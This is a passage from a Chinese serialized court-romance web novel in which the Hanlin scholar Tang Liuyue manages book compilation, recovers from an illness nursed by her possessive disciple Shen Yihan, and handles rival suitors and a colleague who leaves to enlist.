这话把棠柳月成功呛到,她轻咳几声后,却又被季临渊掰正脸颊,气息扑面时,对上那一双半是期许半是紧张的双眸。
“你很在意吗?”
“快说。”
季临渊语调不稳,听得出是很在意了。
于是棠柳月存了心故意逗他,假装为难般,缓缓开口:“
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我确实不讨厌他。”
胸腔鼓动到极点之时,被一盆冰水浇淋,季临渊眼里闪动的微光肉眼可见地熄灭下去,连带着手上的力道都松弛了不少。
但下一刻,他又被棠柳月拽着领口贴了上去。
“但你更讨我喜欢。”
唇上一片温软,季临渊百般思绪皆成了浆糊,被人欺身按倒在一侧,只顾得紧紧拥住眼前人,把刚刚那句话刻进脑子。
喘息的间隙,季临渊的手摩挲在棠柳月后颈的九瓣银花处,引得她不得不侧头避开,埋首在男人的耳侧,“痒……”
微微侧脸,季临渊与棠柳月交颈相依,声音喑哑:“我讨你喜欢,若哪天不讨了,你还会喜欢我吗?”
棠柳月热息灼灼,捧着季临渊的脸便深深吻下去。
水声涟涟,唇舌纠缠,究竟是谁先把一颗心捧了出去已无从知晓。
季临渊放纵自己沉溺沦陷,罢了罢了,不说也好,他宁愿她骗着他。
能骗多久,就骗多久。
八月过后,随着各处大部分书籍都被征收,校验考证书籍的工作渐渐成为翰林院的重心。棠柳月作为主理人,每天都要组织众人,分配工作,统筹规划。除此之外,还要定时应付皇帝和礼部的进度审查,只恨不能分身。
而她自己泡在翰林院的时间也越来越长,经常夜直到深夜,直接在书房和衣而眠。
皇帝闻听此举,亦是十分感动,多次在朝堂上公开表彰棠柳月。
棠柳月站在朝臣列队的后方,每次皇帝点名表扬,她都要出列高声谢恩。但谁又知道,她这么拼命,有很大一部分原因就是因为眼前这位皇帝。
书阁里,江寒星的手因为长时间握笔而止不住地颤抖,几番控制不住下,她很是崩溃地把笔扔开,焦躁无比:“修书工程浩大,皇上居然明年三月就要竣工验收,怎么来得及啊?”
棠柳月从书海里直起腰板,为江寒星捡起笔放到手边,安抚似的摸摸她的头,“明年三月既是皇帝寿辰,又恰逢而立之年,所以他很需要这一份寿礼昭告天下。”
“可是,真的好累。”江寒星神色疲惫地趴在桌上,原本天幕蓝的眼底,此刻血丝勾连不断。
其实江寒星若是滑头一点,也不至于如此憔悴。偏生她做事严谨仔细,又因为跟棠柳月关系近,常被人恶意揣测是为了谋求上位。
所以她总是加倍努力工作,用结果去堵住别人的嘴。
她都这样了,那棠柳月又能好到哪里去呢?
动作轻柔地把江寒星揽入怀中,棠柳月轻轻拍着江寒星的肩膀,“会过去的,一切都会过去的。等明年三月把这件事办完,七月便是科举,礼部主持,翰林院从旁协助。届时我推举你前去跟进。若做得好,可直接调任礼部,无需在这苦熬年岁。”
江寒星诧异抬头,“可往年这些事情不是学士便是侍读去跟进,怎么轮得到我?”
棠柳月手指抚过江寒星的眉眼,嘴角擒着淡淡笑意:“因为我是翰林学士,我说谁去就是谁去。”
“但是比起每年一次的年终考核,科举三年一届且琐事繁多,突发情况也不在少数。你若不愿,我也不勉强。”
江寒星沉吟片刻,坚定地摇摇头,“我去,我一定可以的。”
“好巧,我也觉得你可以。”
书阁里,两个女孩相视一笑。
18.生病(1)
忙忙碌碌又是一个多月三过家门而不入,秋姨无法,只好每天做了饭菜,让沈易寒带去翰林院,嘱咐他一定要亲眼看着棠柳月吃下。
一来二去,整个翰林院都知道棠柳月府上有一个清俊贴心的“好弟弟”。
这天沈易寒像往常一样来给棠柳月送午膳。轻车熟路地来到书房,却没有见到人。礼貌询问了一圈,才知晓棠柳月去了礼部,暂时不在。
宋澈衍路过,看到沈易寒在书房门口踌躇,便主动上前带他走进书房,寻了个位子坐下。
“学士大人估摸再有一刻钟就回来了,”宋澈衍倒了一杯水,递给沈易寒:“你在此处等着就好。”
沈易寒淡然接过,微微颔首:“多谢宋侍读。”
这般坦然受之的举动,让宋澈衍微微诧异。虽然这是他与沈易寒第一次单独相处,但之前在棠柳月口中,这个弟弟,可是一个不被重视,被人欺凌的弱小之辈。
“之前一直听学士大人说,沈公子出身大家,教养不俗,今日一看,果然如此。”
沈易寒轻笑,神色是不似他这年纪的老练内敛:“在师父眼里我总是个孩子,但我毕竟也是公府里教养长大的,自然也识得几分皮毛。”
宋澈衍眼眸微垂,假借找文书的动作,留在书房,继续问道:“那沈公子现在还是暂居在学士府上吗?”
“我本家落败,唯一能依靠的只有师父。”沈易寒语气唏嘘,放下水杯后,眼神便直直落在书架前的宋澈衍身上。
“其实不然,若是明年科举沈公子能取得一二功名,内府便会对像沈公子这样孤苦无依的进士,分配府邸住宅,届时就不用一直麻烦学士大人。”
宋澈衍取下一卷公文,转身笑吟吟地注视沈易寒。
沈易寒眸色如远山寒鸦,薄薄笼了一层雾气:“多谢宋侍读提醒,我自会跟师父商议。”
收紧手中的公文,宋澈衍走过沈易寒身边,拍了拍他的肩膀,“其实这也不是大事,只是男儿总要自立,不能总依靠他人。”
“但我师父是棠柳月,谁知道了都会羡慕我,所以我也不必着急自立。”沈易寒语调轻轻,却有掩盖不住的矜傲。
活了二十余年,这还是宋澈衍头一次见到如此“不上进”的男人,对他造成了极大的冲击。
“……你,”游走到嘴边的话语被生生咽下,宋澈衍扯了扯嘴角,“很好。”
门外,清亮熟悉的女声响起。
“什么好不好?”
棠柳月的身影出现在门口,外头正是正午时分,她脸上红扑扑的,额头还有细密的汗珠。
“师父回来了!”
沈易寒起身的动作跟他的声音一样欢快,不着痕迹地把身前的宋澈衍推到一边,走到棠柳月面前,拉住她的手,明眸善睐,神采飞扬。
“刚刚宋侍读夸秋姨饭菜做得好,你今天可要多吃一点。”说着他还贴心地从袖子里取出一方帕子,递给棠柳月。
宋澈衍站在一旁,将沈易寒的两幅面孔收入眼中,脸色不善。
怪不得季璟人在中书省,还要专门传话给他,说这小子不老实。
对于宋澈衍脸上明晃晃的不悦,棠柳月当然不是没有看见,出声问道:“澈衍,你找我有事吗?”
宋澈衍冷哼一声,“无事,只是偶然看了一场戏,想让大人也开开眼。”
……
棠柳月微微眯眼,没听懂。
沈易寒看宋澈衍也碍眼,于是自顾自拉着棠柳月坐下,为她摆好饭菜碗筷。
又毫不客气地下了逐客令:“宋侍读还是等师父闲暇时再来吧,现下已是午膳时分,就不留侍读大人了。”
宋澈衍懒得跟此人多费口舌,所以躬身行礼后便转身离去。
看着宋澈衍气呼呼的离开,又嗅到空气里残存的硝烟味,棠柳月大约也猜到了跟她眼前的这个好徒儿脱不开关系。
抿了抿嘴,棠柳月抬手撑着侧脸,没有动筷。
“宋澈衍性子沉稳,是不是你说了什么,冒犯到他了?”
沈易寒舀汤的动作慢慢停下来,语调和缓:“在师父眼里,有错的一定是我吗?”
停顿了一会,他接着开口:“或许吧,我对师父身边出现的任何人,都没有好感。”
棠柳月的手指弯起,轻敲桌面,眼里多了几分警告意味。
而沈易寒不敢与之相视,便垂眼看着那只手,却感觉每一下都敲在他的心上,震颤着他的思绪。
“沈易寒,我带你出来是因为昔日师生恩情。但你不要忘了,你是你,我是我。我的事情,我的人,还轮不到你指点。”
一番沉默后,沈易寒把手里的鸡汤推到棠柳月面前,眼眶红红的,“师父先吃饭吧,菜凉了容易吃坏肚子。”
又是这个可怜样子,棠柳月难顶地转头呼气。
第一次相识,这个男人就瑟缩在柴房的一角,用这副模样拦下她的脚步。
见棠柳月还不肯回头,沈易寒眼里豆大的泪珠滚落,眼神落寞,语调酸涩又难听:“师父别这样,我错了,我错了……”
最后这顿饭怎么吃完的,棠柳月已经记不得了。她只记得,沈易寒掉的眼泪,没有一碗也有半碗了。
只是这头刚哄好沈易寒,这头棠柳月自己就出事了。
俗话说得好,人吃五谷杂粮,哪有不生病的?
十月的最后一天,在同僚都因劳累过度而病倒两三轮后,棠柳月自己也终于病倒。撑到病体无法下床的那一刻,她才不得不居家静养。
皇帝知道后,不仅派了太医登门诊治,还赐了很多名贵中药,务必让棠柳月养好身子再回翰林院。
秋姨和沈易寒自不必说,每天贴身照顾棠柳月。
而许伯因为是医者,所以时常跟宫中太医交流病症,每每接下宫里送来的药材,都感慨万分,净是在医书上学过但头一次亲眼看过的东西。
高烧不退之下,棠柳月半睡半醒,只感觉喉头像烧了一把火,燎得她十分难受。直到额头上罩下一片冰冷,她才稍稍觉得好了些,眼睛费力地睁开一条缝。
烛火下,有个穿着天青色衣服的男人坐在床边浣洗脸巾,看不清面容,但周遭残留着熟悉的气息。
“季临渊?”
男人动作一顿,但随即笑了笑。将脸巾拧干挂起后,伸出修长湿冷的
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手指,握住棠柳月滚烫的手腕。
“季临渊早些时候是来看过你,但已经走了。”
“我是沈易寒。”
皮肤乍然触碰冰冷,棠柳月闭上眼拧着眉想要抽手,但几次未果。到最后,手腕的温度都尽数流向沈易寒。
“冷……”棠柳月侧身裹紧被子,低声求饶,她的脑子又开始混沌,身上又冷又热。
沈易寒不为所动,握着皓腕的力道不减分毫。只见他抬手拨开棠柳月的衣领,一朵九瓣银花浮现在脖颈之上,红肿异常。
他盯着那朵花,心底的某一隅,鼓动起不知名的兴奋。他是知道的,知道这个女人是曾经的叛党余孽,知道她的身份是王朝的禁忌。
但他不在乎,因为他对她的感情,本身就是一种禁忌。
哪怕被家主发觉,鞭抽棍打,罚跪雪地,遍体鳞伤,他也会一遍遍在心底撰刻她的名字。
当然,这些曾经阻拦他的人,已经借着疫病,被他悄无声息地除掉了。
现在的他,只需要一味的扮可怜。她是最心善的,一定会同意自己留在她的身边。
只是其余的男人……
指腹轻抚着那朵银花,那片皮肤因为他的触碰而微微颤栗。
沈易寒记得曾在志怪杂书上看过,身中九瓣银花者,躯壳较常人更为健硕。一旦病倒,非寻常药物可医治。需得咬破花蕊,吸出体内毒血,方可痊愈。吸血者切忌吞咽毒血,否则身热情动,不能自抑。
这些天无数汤药灌下去,棠柳月确实没有恢复的迹象。
将领口扯开了些,沈易寒慢慢俯下身子,嘴唇才轻轻碰上花蕊,棠柳月便浑身一颤,没被束缚住的那只手登时抵在沈易寒胸前,死死抓住他的衣领。
紧了松,松了紧,一片褶皱。
沈易寒并没有离开那朵花,而是伸手将棠柳月紧紧扣入自己怀中,唇瓣辗转之际,咬住花蕊。
轻轻用力,花蕊便在口中裂出一道口子,猩甜的血液顷刻溢满唇舌。
与此同时,棠柳月皱眉,仰头哈气,灵魂好似从身体深处被抽离。眼角沁出泪水,分不清是痛苦还是欢愉。体内的热度随着血液流出而急速流失,她不得不蜷缩起身体,紧紧抱住眼前人的脖子,贴近这个散发着无尽热气的人。
她很想让身上的人停下,但所有的话语,皆化作一阵阵嘤咛,刺激得那人动作愈加猛烈。
唇舌吮吸着那片柔软,任凭耳边挣扎、啜泣、喘息连连,沈易寒都没有停下。
许久之后,他才微微抬脸,取过一块脸巾,将黑红的毒血吐在上面。
这个法子确实见效快,一会的功夫,棠柳月的高热就已经退去,沉沉睡下。而随着高热退去,九瓣银花又渐渐隐入皮肤。
沈易寒用拇指轻轻揩去花蕊处的余血,此刻那里已然变得平整。方才吸血的伤口,也只剩一条细小的划痕。不这样贴近细看,根本发觉不了。
沈易寒慢慢起身,松开已经被握得泛红的手腕,动作轻柔地为棠柳月合上衣领,掖好被子。
似猎手打量猎物那般,他的眼眸里满是欲望。
“好好睡吧,我会永远陪着你。”
19.生病(2)
病来如山倒,病去如抽丝,棠柳月被沈易寒悉心照顾,足不出户地将养了半个月,其间还等来了今年大茗冬天的第一场雪。
初雪过后暖阳高升,穿透往日厚重的深灰色幕布般的云层,落在覆盖着银雪的京都之上,亮得晃眼。
而比这更刺眼的,是安定王罗恒幡。他所统辖的江浙一带,连年风调雨顺,鱼米丰饶,收成富庶。且今年他还着重推动南方地区对外贸易,吸引了很多外邦部族国家与大茗通商往来。
日益繁荣的经商贸易之下,获封一等文正忠勇太尉的罗恒幡在南方一带的名声几乎齐名皇帝。
志得意满地迈步走进金銮殿,罗恒幡自然而然地站到太师章奭身前,丝毫不顾官位仪制,在周遭轻微的质疑声中,草草朝皇帝行礼。
章奭不欲与他争一时长短,于是从容后退一步,与季临渊并肩而立。
“太师当真宽和。”季临渊手持笏板,垂着眼眸,语调玩味。
“有功之臣,自然要避其锋芒。”章奭的脊背微微弯曲,头发和胡须都有些花白了,眉眼皮肤耷拉着,盖住年轻时那双精明的眼。
“只怕功过易折,伤了自己也伤了旁人。”
章奭余光瞟了一眼季临渊,没有说话。
而这场早朝里,伴随罗恒幡而来的,还有修建学宫的请旨。
“近年江浙地区有大量年轻人口迁入,婴孩数量激增,私塾学堂供不应求。为求百姓安乐,故微臣请旨,以朝廷之力修建学宫,吸纳当地适龄孩童入学,教导通识。”
其实大茗之前有为贵族子弟专门开辟一处学府,配以专人教导,到了年岁无需科考便可入仕为官。这便导致学府子弟大多无心诗书,游手好闲,荒废学业。
于是自前朝季临渊上位之后,直接关停学府。除圣祖遗命外,任何人都要参与科考,通过者方可入仕。
如今罗恒幡再提,不知到底是真心为民,还是别有用心。
皇帝听后没有立刻表态,而是循例问了章奭。
章奭应声出列,躬身回答:“微臣以为,修建学宫兹事体大,需得征调民意舆情。若真有意动工,也得先让工部前往实地考察一番,再行定夺。”
罗恒幡不客气地嗤笑,“本王辖管江浙地区数年,自然是依据当地实情才请旨如此。太师莫非信不过本王?”
“安定王多虑了,”章奭眉目肃然,不卑不亢:“微臣只是觉得工程浩大,所以多留心了些。与王爷一样,微臣也是心系百姓。”
季临渊原本在一旁眼观鼻,鼻观心,不想却被皇上点了名。
“季卿,你的意思呢?”
是福不是祸,是祸躲不过。
季临渊无声叹气,随即出列,执起笏板答道:“微臣只觉得任何涉及民生之事都需慎重考量,且眼下年关将至,怕是不宜也不便大兴土木,恐冲撞神灵。”
罗恒幡回身,锐利地看了季临渊一眼,“当年中书令派人砸烧学府,清缴传教异士时,说的可是神佛何所畏惧。如今倒开始笃信神佛了?”
提起往事,季临渊不免讪笑。
那时他的脾气,比现在的棠柳月有过之无不及,更何况身居高位。也正因为他当年是先帝的一把利刃,所以才落得鸟尽弓藏的下场。现在,当然不会再重蹈覆辙。
“时移世易,如今大茗河清海晏,我自要感念皇恩后土,为皇上为百姓祈福。”
“巧言令色。”罗恒幡嫌恶地抛下一句评语。
“多谢王爷夸赞。”季临渊欣然接受。
皇帝随后又问了好几位重臣大臣,回答不一,有赞同推进,也有从长计议。问及其他官员,归属安定王一派大多同意修建,剩下的持中不言。
如此再三追问,大家也都看出皇帝本意不愿修建学宫。
可唯独罗恒幡,坚持请旨。甚至还要求由江浙观察使,也就是他的女婿,全权负责此事。
最后皇帝无法,只得同意修建,命工部配合江浙观察使,修建选址和拟定方案,于明年五月动工。
这个消息自金銮殿飞出,传遍满朝文武,自然也传到了棠柳月的耳朵里。
骤雪初霁的午后,棠柳月穿着水蓝色夹袄长裙,外罩一件玄色狸毛披风,手捧暖炉,与季临渊在后花园闲庭信步。大病初愈的脸庞有些苍白,但她的眼神已然灵动活泛,领口的风毛出得极好,细软柔和,随行动轻轻扫过脸颊,带起微微的痒。
相比之下,季临渊的穿着就繁复了许多。不再是夏日飘逸的大袖长衣,一身绛红窄袖袍服上身,满绣祥瑞图腾,身姿挺拔如松,精壮有力。骨链缀着象牙宝石,随黑金腰带系在腰间。梳着利落的高马尾,外圈装饰玛瑙珠玉发带,增添了几分雅致。
面对皇帝的退让,棠柳月摇了摇头,“天子果然不是人人都能当的,我可没那个好脾气。”
季临渊低声一笑,“不怪皇上,是罗恒幡太能干。我若是皇上,只恨不能把他供起来。”
花园里种着不知名,但却在冬日里绽放得如火如荼的赤红花朵,妖冶招摇。
棠柳月随手摘下一朵轻嗅,花香清甜,“能干不一定要干,太尉不会不懂这个道理。”
“他不敢,”季临渊侧了侧身,替棠柳月挡住身后的北风,“虽然跋扈骄横,但也还算忠心。”
摩挲手炉,棠柳月走到秋千架下。拂去座上落花后,便盈盈落座:“此一时,彼一时。这样的人若忠心,那多答允一些也无妨。若不忠心……才是心腹大患。”
“更何况,自古以来兴修土木便是贪腐重地,又由亲近者掌事,”棠柳月面色不霁,“皇上也未免答允得太快了。”
季临渊走到旁边,一手扶着秋千架,一手背在身后,轻挑眉眼,唇角微扬:“我还记得与你初见,你张口便是‘官场之道我不懂’。现在看来,你比谁都懂。”
“彼此彼此,”棠柳月脚尖点地,秋千轻轻晃动,“不过那时我真以为你是阿谀奉承之辈。”
……
“那现在呢?”
棠柳月歪头,端的一副认真思考的模样:“还算有点良心。”
季临渊仰头怅然,“我看你才是真的没良心。”
“帮我推秋千吧,我自己晃得怪累的。”
……
“我堂堂正二品中书令,”走到棠柳月身后,季临渊握住秋千绳索,缓力推动起来,“在这里给你推秋千。”
秋千椅又大又深,棠柳月靠着椅背闭目,听着季临渊碎碎念,无端端生出几分困意,含糊着说了一句“那你走啊。”
季临渊的声音顿时停下,只剩秋千晃动发出的轻微吱呀声,
谧静的院子里,花香鸟轻啼,阳光落在身上,烘得棠柳月昏昏欲睡。
即将睡过去之时,季临渊才低低出声。
“你在这,我还能走到哪里去?”
……傻瓜。
披风上寸许长的狸毛扫过脸颊,棠柳月微微低头,半张脸陷了进去,也掩盖住她嘴角的深深笑意。
几日后,经过许伯的几番检查,确定身体完全康复后,棠柳月重新穿上官袍,神采飞扬地上岗工作。
虽然之前她不在,整个翰林院在宋澈衍的带领下也能正常运转。但随着棠柳月归位,可以明显感觉众人仿佛有了主心骨,干什么都有劲。
按江寒星的话说就是,翰林院扛事的回来了。
除了继续带领众人修书外,最近棠柳月还多了一项要紧工作,就是确定下属的年终政绩考核。
秉持实事求是的原则,棠柳月依照宋澈衍交上来的政绩表,很快就给翰林院众人确定了考核结果。
书房里,宋澈衍站在书案前,阅览最终要递交礼部的官阶晋升名单。
“江寒星、秦川柏、莫齐……白书礼?”
一连念了四五个,直到念到白书礼,宋澈衍停下话头,抬眼看向棠柳月,很是诧异:“你允许白书礼升官阶?”
“为何不允?”棠柳月满脸好笑,“他今年确实做的很好,之前你告假养病,我和寒星忙于修书,外头的事情都是他出面应付,很是尽心尽力。”
宋澈衍闻言,脸上有清浅笑意:“我以为你同他,水火不容。
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”
“不至于,”棠柳月说着,伸手在旁边的文书里翻找起来,“我也并非想讨好什么,只是在其位谋其事罢了。”
“也好,你自有你的衡量。只是,”宋澈衍往前走了走,把名单放到棠柳月面前,手指指着上面江寒星的名字,神色疑惑:“寒星升从七品侍读,那翰林院岂非有两位侍读?”
棠柳月抿嘴一笑,将刚刚找到的文书递到宋澈衍眼前,眼眸有期待的光:“所以我为你写了举荐信,准备上呈六部。你这样的人才,还是更适合六部。”
举荐信,顾名思义,所荐之人不用参加任何考核,六部各尚书商议后可自行纳入门下。
当然也不是任何人都可以被举荐,要么是才干俱佳,要么是在位任期达三年。前者对宋澈衍来说,可能会被冠以“有待商榷”,但从后者出发,他是真的在翰林院实打实待了五年。
但宋澈衍却眉头一皱,并没有接过举荐信,“不相信我能通过礼部的考核吗?”
“不是,是因为这样子,别人会知道你是被上司看重的人,不至于轻慢你。”
对于这个解释,宋澈衍显然也不接受,眼神落在举荐信上,沉默不语。
棠柳月对于眼前男人此刻的沉默,不甚理解。
“有什么不妥吗?”
宋澈衍神色微动,抬眼直直注视棠柳月,“你告假养病那段日子,翰林院的同僚多次想去看你,但沈易寒一直说你体虚不宜见客,把我们拦在门外。”
经宋澈衍这样一说,棠柳月也想起发病前期,自己成日昏昏沉沉,只有沈易寒陪在身侧时,才会清醒一阵。后来她也向沈易寒诉说过这个疑问,但对方只笑说是碰巧。
后面病势逐渐稳定后,除了季临渊,她从未听闻有任何人来看自己。
如此想来,估计沈易寒是没拦住季临渊,而对于其余人便是先斩后奏了。
哦不,是先斩也不奏。
“当时我确实是病——”
“所以你是生气了吗?”
棠柳月扯了扯嘴角,许久之后,艰难出声:“啊……?”
宋澈衍喉头微动,平日讲究男女大防,恪守非礼勿视非礼勿听的他,此刻薄唇紧紧敏成一条直线,眼睛紧张地眨巴着,耳尖红得要滴血。
棠柳月觉得,若不是二人之间还隔着一张书案,他怕是会冲上来抓着自己的肩膀质问不已。
“生气我没去看你,才把我调走的吗?”宋澈衍气息不稳地开口,反倒他更像被气到了。
“……倒也是没那么严重。”棠柳月斟酌着开口,“我真的是因为不想你被埋没,所以才送你出去。”
宋澈衍似乎不是很信,眉头一直未曾舒展:“当真?你不因为我没去看你而生气吗?”
棠柳月倒吸一口冷气,身子微微往后仰,她当真是参不透眼前人的逻辑,于是发出振聋发聩的一问——
“我为什么要生气?”
这不问还好,一问宋澈衍先是一愣,接着便不明所以地低头苦笑几声,恍若大彻大悟一般喃喃道:“是啊,你有什么好生气的……原本就不必生气……”
情绪转变如此之快,棠柳月只在一些神智混乱的人身上见过。颇为担忧地站起身走向宋澈衍,她握住男人的手腕,担忧道:“所以,你是在跟我生气吗?”
“没有。”
宋澈衍的神色渐渐归于正常,聪慧的思维又占据了他的脑子,他抽了抽手,想要挣脱。
但很可惜,棠柳月的手劲也异于常人。
发现挣脱不开后,他索性放弃挣扎,只转过脸不看棠柳月。
“好了好了,”棠柳月顺着宋澈衍侧脸的方向歪头,轻轻摇着他的手腕,笑道:“不想走就不走嘛,我又不会嫌弃你。你有什么心思直说就是,你我之间不必忌讳。”
宋澈衍终究软了神色,转脸看着棠柳月,无声同意。
“还是说,”棠柳月忽而狡黠一笑,伸出食指戳了戳宋澈衍的胸口,“你不想离开我?”
宋澈衍又是一阵沉默,
“是,我不想离开你。”
20.过年(2)
这几日翰林院里总弥散着一股奇怪的氛围,众人也解释不出个所以然。只是这种氛围,在棠柳月和宋澈衍同框的时候,就会很明显。
最后还是江寒星,代表众人向棠柳月发问:“你是跟侍读斗气吗?不然他怎么最近看到你就躲?”
书案上摞满书籍,手上墨笔不停,棠柳月埋首仔细校书:“没有斗气,是他自己道心不稳,兴许过几日就好了。”
“对了,”她抬起头看向同样正在校书的江寒星,“政绩表大家还有异议吗?没有的话,午后就送去礼部吧,免得被人催。”
江寒星点点头,“就剩川柏还没签字,他说今天给答复。”
听到秦川柏的名字,棠柳月才发觉自从自己回来,这小子就很少在自己眼前晃悠,也一改往日踩点上值的自由散漫,大有一种收心顿悟的感觉,连带着身形,都消瘦了不少,她不禁感叹:“川柏今年倒是稳重了很多。”
江寒星手中的笔一停,语调忽而沉闷:“其实我一直没跟你说,他两个哥哥在疫病初期就随军奔赴安乡,大哥没多久就染病而亡。他二哥侥幸回来,但领了抚恤金后就很快退伍归家,其余的我就不知道了。”
棠柳月闻言,神色错愕,“这些……他从未跟我说过。”
这是她孤身多年,第一次切身体会到,王朝的伤疤,在身边人的脊背上裂开。
“我也是之前去兵部收文书,才发现他哥哥的名字在抚恤名单上,”江寒星有些怅然地出声,“但他自己从未跟任何人说过,见他如此,我也只当不知道,怕提了反倒让他伤心。”
棠柳月动了动嘴,最后也只是化作一声叹息,“当做不知道也好,有时安慰比漠视更刺心。”
二人正说着话,秦川柏突然找了过来,一脸严肃地走到棠柳月桌前站定。
“大人,我不想在政绩表上签字。”
棠柳月眉头一皱,“是对考核分数有疑惑吗?”
“不是,”秦川柏摇摇头,“是我自己,我不想待在翰林院了,我要参军入伍。”
说着,他顺势跪下,神色决然:“还请大人允准我的不情之请。”
屋内一片死寂,三人皆是沉默不语。
神色渐渐肃然,棠柳月的语气里带着几分严厉:“官职各有定数,岂能随意调岗?你在翰林院多年,难道不知道吗?”
“我知道,正因为我知道,所以此刻才想明白自己的志向所在。”
“可你的两个哥哥……”棠柳月话到嘴边,却又及时止住,好一会才继续说道:“已经参军,你身为幼子,又有翰林院这个编制在。于情于理,参军入伍都不是上上之策。”
秦川柏在听到“哥哥”时,神色松动,但也只有那一瞬。过后,便又刚毅了眉目。
“这个决定,正是我和父母兄长商议后的结果,还请大人允准。”
棠柳月没有立刻接话,而是静静与秦川柏对视。良久,颇为无奈地开口:“你两位兄长都因参军而不得善终,你父母怎会应允你也参军?”
秦川柏一愣,却也没有追问棠柳月如何得知,而是微微垂下头颅,连带着眼眸也被盖了下去。
“我们三兄弟自小便立志参军报国,大哥虽英年早逝,但以身殉国,于他而言应是不后悔的。但活下来的二哥无颜面对大哥的离去,终日酗酒,已然失了心魂。”
“我想,”秦川柏肩头微微抖动,有几滴泪珠落下,“如果不是为了父母,他应该也会随大哥去了。”
棠柳月听得很是心酸,起身走上前扶起秦川柏,“可那终究是你哥哥们的命数,就算你参军,也换不回你大哥。”
“二哥自回家后,时常在家中小院里,望着东北角出神,”秦川柏用手背擦了擦眼睛,语调抽噎:“那是军营的方向,他跟大哥最好的年岁都在军营里。他并非自愿退伍,是那份愧疚拢住了他。”
“所以我才想去参军,替二哥走完剩下的路。也想跟大哥一样,就算是死,也要死在自己的志向里。”
棠柳月拍了拍秦川柏的肩膀,“你真的决定好了?入了伍当了兵,这条命就由不得你了。”
江寒星起先还在一旁静静听着,原以为棠柳月没那么快松口,但此刻她也不由得着急起来,走到秦川柏身边,眉间的焦急阻拦一览无余。
“军营不是可以潇洒玩乐的地方,况且你是幼子,从小受尽疼爱。你自己都说家里从未请过武术先生,这样的身体底子去当兵,你吃不消的!”
稍稍把江寒星拉开了些,棠柳月微微摇头,示意她不要再多说。
但也不怪江寒星如此情急,共事多年,脾性相投的同僚,突然撇下稳步上升的前途,撇下亲眷朋友,义无反顾地走入风险极大,甚至有去无回的渺茫前路。换做谁,都是无法接受的。
棠柳月其实也不能接受,但她更知道,世事无常,人心难测。
今日念着为他好,不放他走,来日他又会不会怨怼,是她断了他们兄弟亲情?
又或者说,甲之蜜糖,乙之砒霜。
总归是他真心所求,再后悔也甘之如饴。
“柳月,这是我第一次求你,也是最后一次,”秦川柏挺直身躯,扬起许久未曾上扬的嘴角,诚恳又真挚:“让我去吧,这条路,我念了很多年。”
“……好。”
秦川柏入伍那天,是腊月二十,天高云阔,疏朗风轻。
翰林院前,江寒星换上新的官袍,和众人一起在为秦川柏送行。
院前关切送别声频频,而院内棠柳月和宋澈衍并肩站在廊下,默默注视着秦川柏。
“听说你专门去中书省找季临渊,为川柏说话?”
“是,”宋澈衍毫不遮掩,面色虽依旧冷然,但语气却温和:“这条路很难走,我想多为他扫去路上的风霜雨雪。也算是,不负这么多年的同僚情分。”
棠柳月笑了笑,却又忽的生出几分难过,“以前还会觉得他吵闹,现在他走了,又觉得空落落的。”
宋澈衍微微偏头,状若无意地看了一眼棠柳月,“以后总会再见的,不必……伤怀。”
“宋澈衍,别跟我生气了,好不好?”
“我没生气。”
“你以后若再跟我生气,你就是小狗。”
“知道了。”
冷然的眉眼间漾开一池春水,宋澈衍细细默读着那句傻气的话语,于无声处弯起嘴角。
临近年关,日子过得飞快。年假前的最后一天,棠柳月紧赶慢赶才把手头的奏报都处理完,抬眼一看,夕阳漫天,整个翰林院空空荡荡。<
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匆匆忙忙把奏报摆放好,将随身物品收好后,棠柳月背着包裹,手拿一大串翰林院的钥匙,脚步麻溜地锁门回家。
只是刚走到前院,便看到橘红色的夕阳里,宋澈衍正站在大门处,背着包裹,双手抱胸,看向自己。
棠柳月走上前,还有些不相信地戳了戳眼前的男人,“你怎么在这里?”
丝滑地翻了个白眼,宋澈衍同棠柳月走出翰林院,然后拿过她手里的一串钥匙,转身把院门一锁。
“怕你一个人在这里,所以过来看看。”
“只是看看?”
夕阳把二人的影子拉得老长,也拉长了宋澈衍回答的时间。
“想尝尝秋姨的手艺。”
“我可以年后带些给你尝尝。”
“等不了。”
“那也不至于专门挑过年的时候吧。”
冬日里雪花纷飞,但皇城官道上却无甚积雪,只有一层薄冰,覆在路面上,踩上去发出阵阵脆响。而脆响之下,是宋澈衍略带质问的声音。
“季璟能去,为何我不能去?”
可算是把真心话说出来了。
自从上次无意试探出宋澈衍的心迹后,棠柳月虽有点诧异但很快就接受了。
毕竟她年轻又貌美,被人喜欢很正常。
只是接不接受,则是另外一回事。
拉住迈步向前的宋澈衍,棠柳月耐着性子道:“那是因为他家境不顺,孤苦无依,我才稍稍心软了些。而且今年我都没叫他,何来去不去一说?”
宋澈衍压下狭长的眉目,一眨不眨地盯着棠柳月,“我本是弃婴,自小在道观长大,称得上一句‘无父无母’,这样够孤苦无依了吗?”
……
“你若这样想,那我也没办法。”
气极反笑,棠柳月掂了掂背上的包裹,转身往前走去。
宋澈衍在后面快步跟上,二人就这么沉默地一前一后走着。
直到,棠柳月背上的包裹被人扯了扯。
“我没骗你,我真的是在道观长大。但因为性子死板孤僻,不得道长喜欢。后来到了翰林院,才算稍稍舒心。”
“你别生气,我没想什么,也没想怎么样。你若不喜欢,我不去就是了。”
“我回去自己做饭也可以,反正这些年都是这样过来的。”
“你跟我说说话吧,嗯?”
心头的火气被这一句句言语冲散,棠柳月真的扪心承认,她有时候真的太容易心软。
虽没有出声,但脚步慢慢缓了下来。
直到并肩,棠柳月还绷着一张脸,但语调已然和缓了不少。
“我家没什么大鱼大肉,不许嫌弃。”
仰面迎上最后一抹夕阳,直到那片残霞金光落满宋澈衍的眼眸,荡出一片温润柔和。
“好。”
但这派岁月静好,在他来到棠柳月府上的时候,便顷刻消散。
“你怎么在这?”
宋、季、沈三人彼此相视,他问他,他问他,同时出声发问。
棠柳月眼见此情此景,只感觉头皮发麻,随即拉过一旁偷笑的秋姨,低声发问:“秋姨,季临渊怎么来了?”
秋姨一愣,“不是你让他来这儿过年的吗?”
21.过年(2)
拽起男人的衣领,棠柳月丝毫不顾及身后人能不能跟得上,冷脸拖着走到院中树下,而后把他提起抵在树干上。
上好的锦缎蚕衣被人抓揉提起,领口紧得喘不过气。树干上坚硬粗糙的树皮透过衣服,压迫膈应着季临渊。他不得不双手朝后扶住树干,挺起胸膛踮起脚尖,弱弱反抗。
“拽的……太紧了。”
棠柳月冷笑一声,双手的力道不松反紧:“不是说好今年不来的吗?怎么出尔反尔?”
艰难地扬起嘴角,季临渊喘着粗气,一字一顿地吐字:“当然是想见你,所以就来了。”
“现在见到了,可以回去了。”
